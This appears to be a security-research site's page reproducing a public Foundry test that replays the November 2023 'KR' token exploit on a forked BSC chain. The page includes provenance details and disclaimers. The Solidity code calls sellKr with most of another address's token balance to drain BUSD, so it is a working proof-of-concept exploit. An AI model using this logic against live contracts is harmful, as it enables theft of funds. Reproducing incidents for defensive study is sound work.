Skip to content
THREATWIRE

Public reproduction file

src/test/2023-11/KR_exp.sol

Public reproduction file for dataset entry KR.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-11/KR_exp.sol40 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4// @KeyInfo - Total Lost : ~5 $ETH
5// Attacker : https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502
6// Vulnerable Contract : https://bscscan.com/address/0x15b1ed79ca9d7955af3e169d7b323c4f1eeb5d12
7// Attack Tx : https://bscscan.com/tx/0x2abf871eb91d03bc8145bf2a415e79132a103ae9f2b5bbf18b8342ea9207ccd7
8
9import "forge-std/Test.sol";
10import "./../interface.sol";
12interface IKR is IERC20 {
13 function sellKr(
14 uint256 tokenToSell
15 ) external;
18contract ContractTest is Test {
19 IERC20 BNBX = IERC20(0xF662457774bb0729028EA681BB2C001790999999);
20 IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
21 IKR KR = IKR(0x15b1Ed79cA9D7955AF3E169d7B323c4F1eeb5D12);
22 uint256 tokenToSell;
24 function setUp() public {
25 vm.createSelectFork("bsc", 33_267_985 - 1);
26 vm.label(address(KR), "KR");
27 vm.label(address(BUSD), "BUSD");
28 }
30 function testExploit() public {
31 BUSD.transfer(address(0x000000000000000000000000000000000000dEaD), BUSD.balanceOf(address(this)));
32 emit log_named_uint("Attacker BUSD balance before attack", BUSD.balanceOf(address(this)));
33 tokenToSell = KR.balanceOf(address(0xAD1e7BF0A469b7B912D2B9d766d0C93291cA2656)) * 94 / 100;
34 KR.sellKr(tokenToSell);
35 emit log_named_decimal_uint("Attacker BUSD balance after attack", BUSD.balanceOf(address(this)), 18);
36 }
38 fallback() external payable {}
39 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “KR” (2023-11-06). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x835b45d38cbdccf99e609436ff38e31ac05bc502

  • Vulnerable Contract

    0x15b1ed79ca9d7955af3e169d7b323c4f1eeb5d12

  • Attack Tx

    0x2abf871eb91d03bc8145bf2a415e79132a103ae9f2b5bbf18b8342ea9207ccd7

File record

Name
KR
Path
src/test/2023-11/KR_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
b1178cf53cba1af1abaa561103de730595e33113
Language
Solidity
Size
41 lines
Date
2023-11-06
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-11/KR_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob b1178cf53cba1af1abaa561103de730595e33113, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.